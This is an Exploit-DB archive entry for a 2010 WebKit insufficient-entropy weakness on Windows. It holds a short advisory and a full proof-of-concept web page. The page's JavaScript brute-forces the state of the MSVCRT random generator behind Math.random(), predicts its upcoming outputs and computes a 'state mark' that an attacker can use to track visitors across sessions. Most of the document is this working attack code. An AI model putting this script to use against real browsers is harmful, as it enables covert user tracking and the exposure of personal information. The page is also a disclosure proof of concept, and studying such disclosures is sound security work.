WebKit - Insufficient Entropy Random Number Generator Weakness (1)

EDB-ID:

35005


Platform:

Windows

Published:

2010-11-18

source: http://www.securityfocus.com/bid/44952/info

WebKit is prone to a random-number-generator weakness.

Attackers can exploit this issue by enticing an unsuspecting user into visiting a malicious webpage.

Successful attacks will allow attackers to track user sessions and obtain personal information that can aid in further attacks.

NOTE: This issue was previously covered in BID 44938 (Apple Safari Prior to 5.0.3 and 4.1.3 Multiple Security Vulnerabilities) but has been given its own record to better document it. 

<html>
<body>
<script>
document.write("Browser: "+navigator.userAgent);
</script>
<br>
<br>
<script>
interval=200;
iid=null;
function setint()
{
      interval=document.getElementById('x').value;
      clearInterval(iid);
      iid=setInterval("recalc()",interval);
      return;
}
</script>
<form>
Polling interval:<br>
Use low values    (e.g. 200)  for  PRNG state  mark  demo and reseed
counting<br>
Use high values (e.g. 5000) for PRNG prediction demo<br>
<input type="text" id="x" value="200"><br>
<input type="button" value="Change" onClick="setint();">
</form>
Total MSVCRT PRNG invocations (since this page load):
<div id="total"></div><br>
MSVCRT PRNG invocations since last reseed:
<div id="current"></div><br>
MSVCRT PRNG reseed count (since this page load):
<div id="reseed"></div><br>
MSVCRT PRNG state mark:
<div id="mark"></div><br>
Current Math.random():
<div id="math_random"></div><br>
Calculated next Math.random() values:
<div id="next"></div><br>
<script>
var total_counter=0;
var current_counter=0;
var reseed_counter=0;
var state=0;
var mark=0;
function adv(x)
{
      return (214013*x+2531011) & 0x7FFFFFFF;
}
function update_counters(reseed)
{
      document.getElementById("total").innerText=total_counter;
      document.getElementById("current").innerText=current_counter;
      document.getElementById("reseed").innerText=reseed_counter;
      document.getElementById("mark").innerText=mark;
      m=Math.random();
      state=adv(state);
      state2=adv(state);
      state2=adv(state2);
      document.getElementById("math_random").innerText=m;
      document.getElementById("next").innerText=
      ((((adv(state2)>>16)&0x7FFF)<<15)|((state2>>16)&0x7FFF))/(1<<30
);
      state2=adv(state2);
      state2=adv(state2);
      document.getElementById("next").innerText+=" "+
      ((((adv(state2)>>16)&0x7FFF)<<15)|((state2>>16)&0x7FFF))/(1<<30
);
}
function find_mark(st)
{
      for (;;)
      {
            if ((st & 0x3FF)==0)
            {
                  return st>>10;
            }
            st=adv(st);
      }
}
function recalc()
{
      var rr=new Array();
      rr[0]=Math.random()*Math.pow(2,30);
      // Try to resync with the PRNG.
      // Allow up to 1000 iterations from previous sync
      for (k=0;k<1000;k++)
      {
            state=adv(state);
            if ((((state>>16)&0x7FFF)==(rr[0]&0x7FFF)) &&
                (((adv(state)>>16)&0x7FFF)==(rr[0]>>15)))
            {
                  state=adv(state);
                  total_counter+=k;
                  current_counter+=k;
                  mark=find_mark(state);
                  update_counters(false);
                  return;
            }
      }
      rr[1]=Math.random()*Math.pow(2,30);
      var r=new Array();
      for (i=0;i<2;i++)
      {
            r.push(rr[i] & 0x7FFF);
            r.push(rr[i]>>15);
      }
      for (v=0;v<(1<<16);v++)
      {
            state=(r[0]<<16)|v;
            for (j=1;j<4;j++)
            {
                  state=adv(state);
                  if (((state>>16)&0x7FFF)!=r[j])
                  {
                        break;
                  }
            }
            if (j==4)
            {
                  reseed_counter++;
                  current_counter=0;
                  mark=find_mark(state);
                  update_counters(true);
                  return;
            }
      }
}
recalc();
setint();
</script>
</body>
</html>